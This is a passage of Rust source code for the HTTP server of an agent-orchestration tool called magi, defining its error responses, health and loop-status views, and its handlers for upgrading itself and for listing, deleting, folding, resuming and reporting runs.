897    message: String,
898    /// Every separate thing wrong with what the client sent, when there is
899    /// more than one and the client is expected to fix them all.
900    ///
901    /// Only `POST /api/chats/{id}/file` populates it, and it is skipped when
902    /// empty so every other error body stays exactly the shape the front end
903    /// already parses. The reason it exists at all is that the operator
904    /// rejecting a draft is on a phone: a task file with no acceptance
905    /// criteria and no title is one edit, and reporting it as two round trips
906    /// means asking an agent to rewrite the draft twice.
907    problems: Vec<String>,
908}
909
910impl ApiError {
911    /// The client asked for something malformed.
912    fn bad_request(message: impl Into<String>) -> Self {
913        Self {
914            status: StatusCode::BAD_REQUEST,
915            message: message.into(),
916            problems: Vec::new(),
917        }
918    }
919
920    /// The client asked for something malformed in several ways at once.
921    fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
922        Self {
923            problems,
924            ..Self::bad_request(message)
925        }
926    }
927
928    /// No such run or task.
929    fn not_found(message: impl Into<String>) -> Self {
930        Self {
931            status: StatusCode::NOT_FOUND,
932            message: message.into(),
933            problems: Vec::new(),
934        }
935    }
936
937    /// Someone else owns the thing the client wants to change.
938    /// Re-badge an error whose default mapping is wrong for this route.
939    fn with_status(mut self, status: StatusCode) -> Self {
940        self.status = status;
941        self
942    }
943
944    /// A rules violation from a domain type, reported as the caller's fault.
945    /// `Question::answer` rejects an unoffered choice, and that is a bad
946    /// request, not a server error.
947    fn bad_request_from(e: anyhow::Error) -> Self {
948        Self::bad_request(format!("{e:#}"))
949    }
950
951    fn conflict(message: impl Into<String>) -> Self {
952        Self {
953            status: StatusCode::CONFLICT,
954            message: message.into(),
955            problems: Vec::new(),
956        }
957    }
958
959    /// Our fault, or the disk's.
960    fn internal(message: impl Into<String>) -> Self {
961        Self {
962            status: StatusCode::INTERNAL_SERVER_ERROR,
963            message: message.into(),
964            problems: Vec::new(),
965        }
966    }
967}
968
969impl From<anyhow::Error> for ApiError {
970    /// Errors from `queue` and `run` carry their context chain, and the whole
971    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
972    /// value at line 3" is a message an operator can act on, and there is no
973    /// secret in a path on a single-user tailnet.
974    fn from(e: anyhow::Error) -> Self {
975        Self::internal(format!("{e:#}"))
976    }
977}
978
979impl IntoResponse for ApiError {
980    fn into_response(self) -> Response {
981        let mut body = serde_json::json!({ "error": self.message });
982        if !self.problems.is_empty() {
983            // `json!` above built an object, so this cannot be `None`.
984            if let Some(map) = body.as_object_mut() {
985                map.insert("problems".to_owned(), serde_json::json!(self.problems));
986            }
987        }
988        (self.status, Json(body)).into_response()
989    }
990}
991
992/// Run a handler's filesystem work off the executor.
993///
994/// Every route that touches the disk goes through here rather than each one
995/// arguing about whether its own read is small enough. Uniform because the
996/// expensive case is not rare: `run.json` for a finished competition holds
997/// every judgement, deliberation turn and review round, so listing a few
998/// hundred runs is megabytes of parsing, and the executor threads doing it are
999/// the same ones serving the change stream of every other connected phone.
1000async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1001where
1002    T: Send + 'static,
1003{
1004    match tokio::task::spawn_blocking(job).await {
1005        Ok(result) => result,
1006        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1007    }
1008}
1009
1010async fn index() -> impl IntoResponse {
1011    (
1012        [(header::CONTENT_TYPE, "text/html; charset=utf-8")],
1013        INDEX_HTML,
1014    )
1015}
1016
1017async fn app_css() -> impl IntoResponse {
1018    ([(header::CONTENT_TYPE, "text/css; charset=utf-8")], APP_CSS)
1019}
1020
1021async fn app_js() -> impl IntoResponse {
1022    (
1023        [(header::CONTENT_TYPE, "text/javascript; charset=utf-8")],
1024        APP_JS,
1025    )
1026}
1027
1028/// What `/api/health` answers.
1029#[derive(Debug, Serialize)]
1030struct HealthView {
1031    version: &'static str,
1032    home: String,
1033    queue_rev: u64,
1034    runs_rev: u64,
1035    /// The same two revisions [`events`] streams for the question and chat
1036    /// stores.
1037    ///
1038    /// Here because this route is what the front end falls back to when the
1039    /// change stream is not up - it re-polls health on a timer and on wake, and
1040    /// takes the revisions from the answer. Without these two the fallback
1041    /// compares `undefined` against `undefined` for both stores, decides
1042    /// nothing moved, and a phone with a dead stream never learns that a
1043    /// question was asked or that an interview took a turn. `queue_rev` and
1044    /// `runs_rev` above have always been here for exactly this reason; the rule
1045    /// is that every revision the stream carries, this route carries too.
1046    questions_rev: u64,
1047    /// See [`HealthView::questions_rev`].
1048    chats_rev: u64,
1049    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1050    /// is not on disk anywhere, so a phone with no change stream has no other
1051    /// way to notice that the loop it is waiting on was started from another
1052    /// device.
1053    loop_rev: u64,
1054    /// Runs on disk whose state this build cannot parse - almost always a
1055    /// schema bump, occasionally a run killed mid-write.
1056    ///
1057    /// Reported because the list silently skips them, and "no competitions
1058    /// yet" is a lie when six of them are sitting in the runs directory. The
1059    /// terminal deck learned the same lesson: a run that fails to parse must
1060    /// not disappear from the count.
1061    runs_unreadable: usize,
1062    /// Questions nobody has answered yet.
1063    ///
1064    /// The one number here that means "nothing will happen until a human
1065    /// acts": a parked run consumes nothing and progresses never.
1066    questions_open: usize,
1067    /// Interviews the operator started in the browser and has not filed.
1068    ///
1069    /// Unlike `questions_open` nothing is blocked on these - a chat is the
1070    /// operator's own half-finished thought. It is here because an interview
1071    /// that never became a task is invisible everywhere else: it is not in the
1072    /// queue and it is not in the run history, so without a count the phone
1073    /// has no way to say "you left one open".
1074    chats_open: usize,
1075    daemon: DaemonView,
1076    /// The loop in this process, exactly what `/api/loop` answers with.
1077    ///
1078    /// Here so a phone that has just woken needs one request to know whether
1079    /// anything is going to happen at all: `daemon` says a loop is alive
1080    /// somewhere, and this says whether it is one this UI can stop.
1081    #[serde(rename = "loop")]
1082    looping: LoopView,
1083}
1084
1085/// The daemon's state as the UI presents it.
1086#[derive(Debug, Serialize)]
1087struct DaemonView {
1088    running: bool,
1089    idle: Option<bool>,
1090    pid: Option<u32>,
1091    current: Option<daemon::Current>,
1092    completed: Option<u64>,
1093    stale_for_secs: Option<i64>,
1094}
1095
1096impl DaemonView {
1097    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1098    /// not this UI's — a crashed daemon must not look alive here while
1099    /// `doctor` calls it dead.
1100    fn of(status: Option<daemon::Reading>) -> Self {
1101        let Some(status) = status else {
1102            return Self {
1103                running: false,
1104                idle: None,
1105                pid: None,
1106                current: None,
1107                completed: None,
1108                stale_for_secs: None,
1109            };
1110        };
1111        let now = Timestamp::now();
1112        let age = status.age_secs(now);
1113        Self {
1114            running: status.running(now),
1115            idle: Some(status.idle),
1116            pid: status.pid,
1117            current: status.current,
1118            completed: Some(status.completed),
1119            stale_for_secs: age,
1120        }
1121    }
1122}
1123
1124async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1125    blocking(move || {
1126        // One read of the status file for the two fields that describe it, so
1127        // `daemon` and `loop` in the same answer cannot disagree about who is
1128        // running the loop.
1129        let reading = daemon::read_status(&ui.home);
1130        // Read on its own line, not inside the literal below: the loop's lock
1131        // is not reentrant, and a guard taken as a temporary there would still
1132        // be held when `loop_view` took it again.
1133        let loop_rev = ui.lock_loop().rev;
1134        Ok(Json(HealthView {
1135            version: env!("CARGO_PKG_VERSION"),
1136            home: ui.home.display().to_string(),
1137            queue_rev: ui.queue.revision(),
1138            runs_rev: runs_revision(&ui.runs),
1139            questions_rev: ui.questions.revision(),
1140            chats_rev: ui.chats.revision(),
1141            loop_rev,
1142            runs_unreadable: runs_unreadable(&ui.runs),
1143            questions_open: ui.questions.count_open(),
1144            chats_open: ui.chats.count_open(),
1145            daemon: DaemonView::of(reading.clone()),
1146            looping: ui.loop_view(reading),
1147        }))
1148    })
1149    .await
1150}
1151
1152/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1153#[derive(Debug, Serialize)]
1154struct LoopView {
1155    /// A loop is running in *this* process.
1156    running: bool,
1157    /// It has been asked to stop and is still finishing a run.
1158    ///
1159    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1160    /// because the two differ exactly where it matters: a loop asked to stop
1161    /// while idle is gone within one poll interval, and one asked to stop
1162    /// mid-run keeps going for as long as the graph takes. The operator needs
1163    /// to be told which of those they are waiting for.
1164    stopping: bool,
1165    /// A park was asked for: the run in flight stops at its next node
1166    /// boundary rather than finishing.
1167    ///
1168    /// Separate from `stopping` because the two promise different waits. A
1169    /// stop is "when this competition ends", which can be an hour; a park is
1170    /// "after the step it is on", which is minutes and is what an operator
1171    /// waiting to replace the binary needs to see.
1172    parking: bool,
1173    /// The loop is this process's own.
1174    ///
1175    /// Spelled separately from `running` for the front end's sake, even
1176    /// though inside this process the two move together: `running: false`
1177    /// with `daemon.running: true` is the case where the operator's own `magi
1178    /// serve` owns the loop, and `owned` is the field that tells the UI its
1179    /// buttons have to explain that rather than pretend.
1180    owned: bool,
1181    /// Repository the loop uses for tasks that name none - what it was
1182    /// started with while it runs, and what a start would use before that.
1183    repo: String,
1184    /// Merge mode override in force, or `null` when each repository's own
1185    /// config decides.
1186    merge: Option<String>,
1187    /// Why the last loop in this process ended, when it ended badly.
1188    ///
1189    /// The only place a crashed loop is visible to someone holding a phone.
1190    /// It is logged at error level as well, but a terminal nobody kept open
1191    /// is not a report, and a loop that died at 3am must not read as merely
1192    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1193    /// answers the same question about the same kind of failure.
1194    last_error: Option<String>,
1195    /// The status file, judged the same way `/api/health` judges it: this is
1196    /// what says whether a loop is alive in some *other* process.
1197    daemon: DaemonView,
1198}
1199
1200/// A loop another process already owns.
1201///
1202/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1203/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1204/// published by a pid that is not ours. Excluding our own pid is what makes
1205/// stopping work at all - the loop this process runs writes that file too, so
1206/// a check that ignored the pid would decide the operator's own UI was a
1207/// stranger and refuse to stop the loop it had just started.
1208#[derive(Debug, Clone, Copy)]
1209struct Foreign {
1210    /// The pid the other process published, when it published one.
1211    pid: Option<u32>,
1212}
1213
1214impl Foreign {
1215    /// Another process's live loop, or `None` when this process is free to
1216    /// run one.
1217    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1218        let reading = reading?;
1219        if !reading.running(Timestamp::now()) {
1220            return None;
1221        }
1222        match reading.pid {
1223            Some(pid) if pid == std::process::id() => None,
1224            // A fresh heartbeat with no pid in it is still evidence of a live
1225            // daemon. "Some other process" is the honest answer, and refusing
1226            // to start beside it is the safe one.
1227            pid => Some(Self { pid }),
1228        }
1229    }
1230
1231    /// How a conflict names it. The pid is the whole point of the message: it
1232    /// is what the operator needs to find the terminal that owns the loop.
1233    fn who(&self) -> String {
1234        match self.pid {
1235            Some(pid) => format!("another magi process (pid {pid})"),
1236            None => "another magi process".to_owned(),
1237        }
1238    }
1239}
1240
1241/// How a loop is started, as a future this module can hold onto.
1242///
1243/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1244/// trait object or a hand-written `Debug` impl for the sake of one seam.
1245type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1246
1247/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1248fn launch_daemon(
1249    opts: daemon::Opts,
1250    stop: daemon::Stop,
1251) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1252    Box::pin(daemon::serve_until(opts, stop))
1253}
1254
1255/// The loop this process runs, behind one lock.
1256#[derive(Debug, Default)]
1257struct LoopState {
1258    /// The loop, while there is one.
1259    live: Option<Live>,
1260    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1261    ///
1262    /// The loop is in-process state rather than a file, so nothing on disk
1263    /// would tell a second phone that the first one started it. Without this
1264    /// counter the only way to learn about a start, a stop request or a crash
1265    /// would be to poll `/api/loop`, which is the thing the change stream
1266    /// exists to avoid on a mobile link.
1267    rev: u64,
1268    /// Why the last loop ended, when it ended badly. See
1269    /// [`LoopView::last_error`].
1270    last_error: Option<String>,
1271}
1272
1273/// A loop in flight.
1274#[derive(Debug)]
1275struct Live {
1276    /// The cooperative stop, shared with the loop task.
1277    stop: daemon::Stop,
1278    /// The task itself, kept only to answer whether it is still there: a loop
1279    /// that panicked never records its own end, and without this the view
1280    /// would go on reporting a loop that no longer exists - the one lie that
1281    /// would leave the operator with no button to press.
1282    handle: tokio::task::JoinHandle<()>,
1283    /// What the loop was started with, so the view reports the repository and
1284    /// merge mode its runs will actually use rather than what an edit to the
1285    /// config since would give.
1286    opts: daemon::Opts,
1287}
1288
1289impl Live {
1290    /// Is the task still there? See [`Live::handle`].
1291    fn alive(&self) -> bool {
1292        !self.handle.is_finished()
1293    }
1294}
1295
1296/// Take the loop lock, recovering from a poisoned one.
1297///
1298/// What this mutex holds is a stop flag, a task handle and two counters, none
1299/// of which a panic elsewhere can leave in a state worth refusing to read.
1300/// Propagating the poison instead would mean an operator who can see the loop
1301/// running and can no longer stop it from the only surface they have.
1302fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1303    state.lock().unwrap_or_else(PoisonError::into_inner)
1304}
1305
1306/// `GET /api/loop`.
1307async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1308    blocking(move || {
1309        let reading = daemon::read_status(&ui.home);
1310        Ok(Json(ui.loop_view(reading)))
1311    })
1312    .await
1313}
1314
1315/// The body of `POST /api/loop`.
1316///
1317/// One required field and nothing else: no `default` and no unknown fields,
1318/// so a body that fails to say which way the switch was flipped is a 400
1319/// rather than a tap that quietly does the opposite of what was pressed.
1320#[derive(Debug, Deserialize)]
1321#[serde(deny_unknown_fields)]
1322struct LoopCommand {
1323    running: bool,
1324    /// Stop the run in flight at its next node boundary rather than letting it
1325    /// finish.
1326    ///
1327    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1328    /// competition is tens of minutes of paid work and finishing it is
1329    /// normally the cheapest thing to do. A park is for the operator who
1330    /// wants the process gone now - to replace the binary, most of all - and
1331    /// it costs at most the node in progress because every node writes its
1332    /// state before the next one starts.
1333    #[serde(default)]
1334    park: bool,
1335}
1336
1337/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1338///
1339/// Answers with the view rather than waiting for the loop to reach the state
1340/// that was asked for. Starting is immediate anyway; stopping is not, and the
1341/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1342/// request open for. `stopping` in the answer is what the operator watches
1343/// instead.
1344async fn loop_post(
1345    State(ui): State<Arc<Ui>>,
1346    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1347) -> ApiResult<Json<LoopView>> {
1348    // Taken as a `Result` so a malformed body is a 400 like every other route
1349    // here, rather than axum's default 422 that the UI has no branch for.
1350    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1351    blocking(move || {
1352        let reading = daemon::read_status(&ui.home);
1353        let foreign = Foreign::of(reading.as_ref());
1354        if body.running {
1355            ui.start_loop(foreign)?;
1356        } else {
1357            ui.stop_loop(foreign, body.park)?;
1358        }
1359        Ok(Json(ui.loop_view(reading)))
1360    })
1361    .await
1362}
1363
1364/// What `POST /api/upgrade` set in motion.
1365#[derive(Debug, Serialize)]
1366struct UpgradeView {
1367    /// The version this process is running.
1368    from: String,
1369    /// A run was parked first, and this is its id.
1370    parked: Option<String>,
1371    /// What the operator should expect to happen next.
1372    detail: String,
1373}
1374
1375/// `POST /api/upgrade` - replace this binary with the newest release and come
1376/// back on it.
1377///
1378/// The one thing the deck could not do for itself. Every fix landed today
1379/// either waited for a competition to end or went in with the deck stopped,
1380/// because `cargo install` cannot overwrite a running executable on Windows.
1381/// `kaishin` can: `self_replace` **renames** the running image aside and puts
1382/// the new one in its place, so the swap itself needs no downtime. Only the
1383/// restart does, and the order is the whole design:
1384///
1385/// 1. **Park.** A run in flight stops at its next node boundary and stays
1386///    resumable, so this costs at most the node in progress rather than the
1387///    competition. Without it the honest choices were waiting an hour or
1388///    discarding paid agent work.
1389/// 2. **Replace.** The new binary goes into place while this one still runs.
1390/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
1391///    successor - see [`spawn_successor`] for what happens in the other
1392///    order.
1393/// 4. **Resume.** The next loop carries the parked run on rather than
1394///    competing again; see `daemon::attempt`.
1395///
1396/// Answers **202**: the reply has to reach the phone while this process can
1397/// still send one, and the phone learns the deck is back by reconnecting.
1398async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1399    let reading = daemon::read_status(&ui.home);
1400    if let Some(other) = Foreign::of(reading.as_ref()) {
1401        return Err(ApiError::conflict(format!(
1402            "the loop belongs to {}, so replacing this binary would leave \
1403             that process running an old one against the same queue. Upgrade \
1404             where it was started.",
1405            other.who()
1406        )));
1407    }
1408
1409    // Parked before anything is replaced: a successor that came up while a
1410    // run was mid-node would find a run nobody is driving.
1411    let parked = ui.park_for_upgrade()?;
1412    let detail = match &parked {
1413        Some(run) => format!(
1414            "Run {} is parking at its next step. The deck replaces itself, \
1415             comes back, and the loop carries that run on from where it \
1416             stopped.",
1417            crate::run::short_of(run)
1418        ),
1419        None => "The deck replaces itself and comes back. Nothing was in \
1420                 flight to park."
1421            .to_owned(),
1422    };
1423
1424    tokio::spawn(async move {
1425        if let Err(e) = upgrade_and_restart().await {
1426            tracing::error!("the upgrade did not complete: {e:#}");
1427        }
1428    });
1429
1430    Ok((
1431        StatusCode::ACCEPTED,
1432        Json(UpgradeView {
1433            from: env!("CARGO_PKG_VERSION").to_owned(),
1434            parked,
1435            detail,
1436        }),
1437    ))
1438}
1439
1440/// Replace the binary, then ask [`serve`] to hand the address over.
1441///
1442/// Separated from the handler so the 202 is already on its way, and separated
1443/// from the spawn so the successor starts only after the listener is dropped.
1444async fn upgrade_and_restart() -> Result<()> {
1445    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
1446    // hang the upgrade for as long as the process lives.
1447    crate::updater::run_self_update(true, false, true).await?;
1448    tracing::info!("binary replaced - asking the server to hand over");
1449    HANDOVER.notify_one();
1450    Ok(())
1451}
1452
1453/// One row in the run list.
1454///
1455/// The list route returns this rather than whole `RunState`s: the summary of a
1456/// run is a few hundred bytes and the state is megabytes, and the difference
1457/// is what makes the history usable on a mobile link.
1458#[derive(Debug, Serialize)]
1459struct RunSummary {
1460    id: String,
1461    short: String,
1462    status: String,
1463    done: bool,
1464    instruction: String,
1465    title: String,
1466    repo: String,
1467    repo_name: String,
1468    created_at: String,
1469    updated_at: String,
1470    candidates: usize,
1471    viable: usize,
1472    judges: usize,
1473    winner: Option<char>,
1474    reviews: usize,
1475    quota_losses: usize,
1476    event: Option<String>,
1477    /// Blocked on a question nobody has answered.
1478    ///
1479    /// Derived from the question store rather than stored on the run: an agent
1480    /// calling `magi ask` blocks mid-node, and writing a status from there
1481    /// would race the graph's own save of `run.json` and be overwritten at the
1482    /// next node boundary. Asking the store is always true and never races.
1483    waiting: bool,
1484    /// The land loop's last look at the pull request, when there is one.
1485    pr: Option<crate::run::PrRecord>,
1486}
1487
1488impl RunSummary {
1489    fn of(state: &RunState, waiting: bool) -> Self {
1490        Self {
1491            id: state.id.clone(),
1492            short: state.short().to_owned(),
1493            status: status_word(state.status),
1494            done: state.status.done(),
1495            instruction: state.instruction.clone(),
1496            title: title_from(&state.instruction, TITLE_MAX),
1497            repo: state.repo.display().to_string(),
1498            repo_name: state
1499                .repo
1500                .file_name()
1501                .map(|n| n.to_string_lossy().into_owned())
1502                .unwrap_or_default(),
1503            created_at: state.created_at.to_string(),
1504            updated_at: state.updated_at.to_string(),
1505            candidates: state.candidates.len(),
1506            viable: state.viable().len(),
1507            judges: state.config.graph.judges,
1508            winner: state.winner().map(|c| c.label),
1509            reviews: state.reviews.len(),
1510            quota_losses: state.quota.len(),
1511            event: state.events.last().map(|e| e.message.clone()),
1512            waiting,
1513            pr: state.pr.clone(),
1514        }
1515    }
1516}
1517
1518/// `RunStatus` as the wire spells it. Every variant is one word, so this is
1519/// the same string `serde` writes for the status inside a full run.
1520fn status_word(status: RunStatus) -> String {
1521    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
1522    // was a third way of naming the same statuses, and one that changed
1523    // silently with a derive.
1524    status.as_str().to_owned()
1525}
1526
1527/// `?limit=`, clamped by the handler.
1528#[derive(Debug, Deserialize)]
1529struct ListQuery {
1530    #[serde(default)]
1531    limit: Option<usize>,
1532}
1533
1534async fn runs_list(
1535    State(ui): State<Arc<Ui>>,
1536    Query(q): Query<ListQuery>,
1537) -> ApiResult<Json<Vec<RunSummary>>> {
1538    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1539    blocking(move || {
1540        let summaries = run_ids(&ui.runs)
1541            .into_iter()
1542            // A run whose state cannot be read is skipped, not fatal: a run
1543            // killed mid-write must not blank the history of every other one.
1544            // The detail route still explains it, which is where an operator
1545            // asking "what happened to that run" ends up.
1546            .filter_map(|id| read_run(&ui.runs, &id).ok())
1547            .take(limit)
1548            .map(|state| {
1549                let waiting = !ui.questions.open_for(&state.id).is_empty();
1550                RunSummary::of(&state, waiting)
1551            })
1552            .collect();
1553        Ok(Json(summaries))
1554    })
1555    .await
1556}
1557
1558/// A run as the detail route hands it to the phone.
1559///
1560/// The whole state, flattened, plus `instruction_md`: the Task panel renders
1561/// the instruction as markdown, and the raw `instruction` field this struct
1562/// still carries (unchanged) is what a client wanting the exact bytes reads
1563/// instead.
1564#[derive(Debug, Serialize)]
1565struct RunDetailView {
1566    #[serde(flatten)]
1567    state: RunState,
1568    instruction_md: Vec<md::Node>,
1569}
1570
1571impl From<RunState> for RunDetailView {
1572    fn from(state: RunState) -> Self {
1573        Self {
1574            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1575            state,
1576        }
1577    }
1578}
1579
1580async fn run_detail(
1581    State(ui): State<Arc<Ui>>,
1582    Path(id): Path<String>,
1583) -> ApiResult<Json<RunDetailView>> {
1584    blocking(move || {
1585        let id = resolve_run(&ui.runs, &id)?;
1586        Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
1587    })
1588    .await
1589}
1590
1591/// `DELETE /api/runs/{id}`.
1592///
1593/// Remove a finished, folded run directory along with its artifacts.
1594/// Running runs and runs with unfolded candidate worktrees/branches cannot be
1595/// deleted. This never touches git worktrees or branches.
1596async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1597    blocking(move || {
1598        let id = resolve_run(&ui.runs, &id)?;
1599        let state = read_run(&ui.runs, &id)?;
1600        let in_flight = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1601        state
1602            .ensure_can_delete(in_flight)
1603            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1604        let dir = ui.runs.join(&id);
1605        std::fs::remove_dir_all(&dir)
1606            .with_context(|| format!("remove run directory {}", dir.display()))?;
1607        // The agent that asked died with the run, so an open question would
1608        // keep asking the operator for a decision nobody can deliver.
1609        ui.questions.abandon_for_run(
1610            &id,
1611            &format!("run {id} was deleted, so nothing is waiting for this answer"),
1612        )?;
1613        Ok(StatusCode::NO_CONTENT)
1614    })
1615    .await
1616}
1617
1618/// `POST /api/runs/{id}/fold`.
1619///
1620/// Remove a run's candidate worktrees and branches, keeping its record.
1621///
1622/// This exists because the deck answered "delete this run" with *"Candidates
1623/// must be folded before deleting. Run `magi fold` first."* — a phone being
1624/// told to open a terminal, in the one product whose point is that it does
1625/// not need one. The runs an operator most wants gone are the stalled and
1626/// blocked ones, and those are exactly the runs still holding worktrees:
1627/// three of them here held 53 GB.
1628///
1629/// The winner's tree goes too. A fold is what someone asks for when they are
1630/// finished with a run, and leaving one tree behind would leave the delete
1631/// button disabled for the same reason as before.
1632///
1633/// Refused while a live daemon is working on the run, on the rule that guards
1634/// deletion: folding underneath a running agent would pull the tree it is
1635/// editing out from under it.
1636async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1637    let (id, mut state) = {
1638        let ui = Arc::clone(&ui);
1639        blocking(move || {
1640            let id = resolve_run(&ui.runs, &id)?;
1641            let state = read_run(&ui.runs, &id)?;
1642            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1643                return Err(ApiError::conflict(format!(
1644                    "run {} is being worked on by a live daemon right now",
1645                    state.short()
1646                )));
1647            }
1648            Ok((id, state))
1649        })
1650        .await?
1651    };
1652    let removed = crate::graph::fold_run(&mut state, true)
1653        .await
1654        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1655    Ok(Json(FoldView {
1656        run: id,
1657        removed_count: removed.len(),
1658        removed,
1659    }))
1660}
1661
1662/// What a fold took away, so the deck can say so rather than only re-render.
1663#[derive(Debug, Serialize)]
1664struct FoldView {
1665    run: String,
1666    /// Worktree paths and branch names removed, in the order they went.
1667    removed: Vec<String>,
1668    removed_count: usize,
1669}
1670
1671/// `POST /api/runs/{id}/resume`.
1672///
1673/// Carry a stalled run on from where it stopped, in the background.
1674///
1675/// A stalled card says "the work is kept" and used to offer no way to act on
1676/// that: the candidates are built and paid for, and continuing means re-asking
1677/// only the seats whose absence collapsed the panel. The alternative an
1678/// operator actually had was releasing the task, which competes three fresh
1679/// implementations against work that already exists.
1680///
1681/// **202, not 200.** A resume runs agents for minutes; holding the connection
1682/// is the mistake `POST /api/chats/{id}/say` already made and had fixed. The
1683/// phone learns the outcome from the change stream.
1684///
1685/// Refused when the loop is running at all, not merely when it is on this run.
1686/// magi runs one competition at a time on purpose — the scarce resource is the
1687/// agent CLIs' quota — and a tap that quietly started a second graph would
1688/// double the burn for no extra throughput.
1689async fn run_resume(
1690    State(ui): State<Arc<Ui>>,
1691    Path(id): Path<String>,
1692) -> ApiResult<(StatusCode, Json<RunSummary>)> {
1693    let (id, state) = {
1694        let ui = Arc::clone(&ui);
1695        blocking(move || {
1696            let id = resolve_run(&ui.runs, &id)?;
1697            let state = read_run(&ui.runs, &id)?;
1698            Ok((id, state))
1699        })
1700        .await?
1701    };
1702    if !state.status.resumable() {
1703        return Err(ApiError::conflict(format!(
1704            "run {} is `{}`, and only a stalled or blocked run can be resumed",
1705            state.short(),
1706            status_word(state.status)
1707        )));
1708    }
1709    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
1710        return Err(ApiError::conflict(format!(
1711            "the loop is running run {} right now; magi runs one competition at \
1712             a time so the agent quota is not spent twice over. Stop the loop \
1713             first.",
1714            crate::run::short_of(&work.run)
1715        )));
1716    }
1717    let _resume = ui.begin_resume(&id)?;
1718
1719    // The same shape the list route returns, so the phone updates the card it
1720    // already has rather than learning a second schema for one button.
1721    let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
1722    let run = id.clone();
1723    tokio::spawn(async move {
1724        let _resume = _resume;
1725        match crate::graph::Runner::resume(&run) {
1726            Ok(mut runner) => {
1727                if let Err(e) = runner.execute().await {
1728                    tracing::warn!("resume of run {run} stopped: {e:#}");
1729                }
1730            }
1731            // The run's own record is what the phone reads; this line is for
1732            // the operator's terminal.
1733            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
1734        }
1735    });
1736    Ok((StatusCode::ACCEPTED, Json(queued)))
1737}
1738
1739async fn run_report(
1740    State(ui): State<Arc<Ui>>,
1741    Path(id): Path<String>,
1742) -> ApiResult<impl IntoResponse> {
1743    let text = blocking(move || {
1744        let id = resolve_run(&ui.runs, &id)?;
1745        // Colour is off for the whole process, set once in `serve`. Rendering
1746        // is CPU work over the full state, which is the other reason this is
1747        // not on the executor.
1748        Ok(report::run(&read_run(&ui.runs, &id)?))
1749    })
1750    .await?;
1751    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
1752}
1753
1754/// A task as the UI sees it.
1755///
1756/// The whole task, plus the two things the client would otherwise have to
1757/// reimplement: the human-readable source and the status string. Nothing is
1758/// removed - the phone shows `last_error` and the run history verbatim.
1759#[derive(Debug, Serialize)]
1760struct TaskView {
1761    #[serde(flatten)]
1762    task: Task,
1763    source_label: String,
1764    status_str: &'static str,
1765    /// The instruction, parsed as markdown, for the Queue card's "Full
1766    /// instruction" panel. `task.instruction` is unchanged and still carries
1767    /// the raw text.
1768    instruction_md: Vec<md::Node>,
1769}
1770
1771impl From<Task> for TaskView {
1772    fn from(task: Task) -> Self {
1773        Self {
1774            source_label: task.source.label(),
1775            status_str: task.status.as_str(),
1776            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
1777            task,
1778        }
1779    }
1780}
1781
1782/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
1783/// its absence, leaves the cache to decide.
1784#[derive(Debug, Default, Deserialize)]
1785#[serde(default)]
1786struct ReposQuery {
1787    refresh: u8,
1788}
1789
1790/// `GET /api/repos` - the repository picker for the plan surface's "start a
1791/// conversation" panel and its "continue in another repository" action.
1792///
1793/// Reads `[repos] roots` and `[repos] scan_ttl` off the same config the rest
1794/// of the plan surface uses, discovered against `ui.repo` so an edit to
1795/// `magi.toml` takes effect without a restart, the same reasoning
1796/// [`config_for`] documents for the chat routes.
1797async fn repos_list(
1798    State(ui): State<Arc<Ui>>,
1799    Query(q): Query<ReposQuery>,
1800) -> ApiResult<Json<Vec<repos::Repo>>> {
1801    let refresh = q.refresh != 0;
1802    blocking(move || {
1803        let (cfg, _) = Config::discover(&ui.repo, None)?;
1804        Ok(Json(ui.repos_cache.list(
1805            &cfg.repos.roots,
1806            Duration::from_secs(cfg.repos.scan_ttl),
1807            refresh,
1808        )))
1809    })
1810    .await
1811}
1812
